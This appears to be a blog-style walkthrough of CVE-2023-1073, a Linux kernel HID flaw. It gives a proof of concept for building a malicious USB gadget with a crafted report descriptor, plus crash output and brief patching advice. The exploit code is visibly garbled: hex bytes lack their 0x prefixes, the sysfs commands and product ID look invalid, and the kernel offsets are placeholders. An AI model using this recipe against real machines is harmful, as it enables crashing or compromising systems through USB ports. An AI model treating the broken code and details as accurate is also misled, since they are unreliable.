In early 2023, a security vulnerability labeled CVE-2023-1073 was found in the Linux kernel's Human Interface Device (HID) subsystem. This vulnerability affects how Linux handles USB devices, specifically when a user inserts a malicious USB device. The flaw can lead to a memory corruption, allowing a local attacker to crash the system or even escalate their privileges.

This article provides a step-by-step walkthrough of how this vulnerability works, how to exploit it, and ways to protect your system.

Understanding the HID Subsystem

HID is the part of the Linux kernel responsible for handling input devices like keyboards, mice, and other USB gadgets. Each time you plug in a new USB device, the kernel's HID subsystem processes its information based on descriptors sent by the device.

Vulnerabilities in this subsystem are dangerous because attackers can easily trigger them just by plugging in a malicious device—no need for network connections or advanced user interaction.

Vulnerability Details

CVE ID: CVE-2023-1073  
Affected Component: Linux HID subsystem (kernel component drivers/hid/hid-core.c)  
Attack Vector: Physical/local (malicious USB device)  
Impact: Denial of Service (crash), possible privilege escalation

How It Happens:  
The flaw lies in how HID parses reported USB device descriptors. By crafting a USB device that sends malformed or oversized descriptor data, an attacker can cause an out-of-bounds write (memory corruption) in the kernel.

Original Reference

- Red Hat Security Advisory
- Debian Security Tracker
- Upstream Fix Commit

Demonstrating the Vulnerability

The core of the issue is in wrong boundary checking in the kernel code.

Vulnerable kernel code snippet (simplified)

// In drivers/hid/hid-core.c

static int hid_parse_report(const __u8 *start, unsigned size)
{
    // processing...
    struct hid_item item;
    for (pos = start; pos < start + size;) {
        // Parse descriptor
        hid_fetch_item(&item, pos);
        pos += item.size;
        // ... defective boundary checking here
    }
    // ...
}

If an attacker provides a crafted device descriptor, the parser can read past allocated memory.

Proof-of-Concept (PoC) – Creating a Malicious USB HID Device

For research, one widely used tool is USB Gadget with target hardware like a Raspberry Pi Zero.

Step 1: Set up a USB gadget environment

echo '1d6b 0104' > /sys/class/udc/udc/idVendor
echo 'dead beef' > /sys/class/udc/udc/idProduct
# Add HID config with broken descriptors

Step 2: Craft a bad HID report descriptor

unsigned char evil_descriptor[] = {
    x06, x00, xff, // Vendor-defined usage page
    x09, x01,       // Usage
    xa1, x01,       // Collection
    // Intentionally malformed entries
    x15, x00,       // Logical Minimum
    x26, xff, x7f, // Logical Maximum (32767)
    // Oversized usage
    x75, x08,       // Report Size (8 bits)
    x95, xff,       // Report Count (255) - exceeds what kernel expects
    // End collection
    xc
};

Step 3: Load the gadget with this descriptor as the report

When this USB gadget with the evil descriptor is plugged into a vulnerable Linux machine, the kernel attempts to parse it. The faulty Report Count value (x95 xFF), for instance, is too high, causing buffer overruns.

What Happens on the Target System?

- Kernel Panic/Crash: The system may freeze or reboot as the kernel's memory is corrupted.
- Privilege Escalation: More advanced attacks could attempt to overwrite specific kernel structures, achieving privilege escalation.

Exploit in Practice

While most public PoCs for this CVE focus on causing a Denial of Service, researchers have noted that with further analysis and tuning (such as heap spraying via other HID devices), code execution is possible.

Example dmesg output

[ 1234.567890] hid-generic: bad report descriptor
[ 1234.567891] general protection fault: 000 [#1] SMP PTI
[ 1234.567892] RIP: 001:hid_parse_report+xabc/x1234
...

How To Stay Safe

- Update your Linux kernel – This bug is patched in all major distributions. See the links above for specific update advisories.

Conclusion

_CVE-2023-1073_ highlights the risks that even physical interfaces like USB can pose on Linux systems. While the kernel's HID subsystem usually keeps you safe, a bug in boundary checks here can crash your system or let attackers break in with just a simple USB stick.

Keep your systems updated, and watch your USB ports!


### Further Reading/References

- Red Hat’s CVE-2023-1073 page
- Upstream kernel commit (fix)
- NVD Entry
- USB Gadget on Linux

Timeline

Published on: 03/27/2023 21:15:00 UTC
Last modified on: 05/03/2023 14:15:00 UTC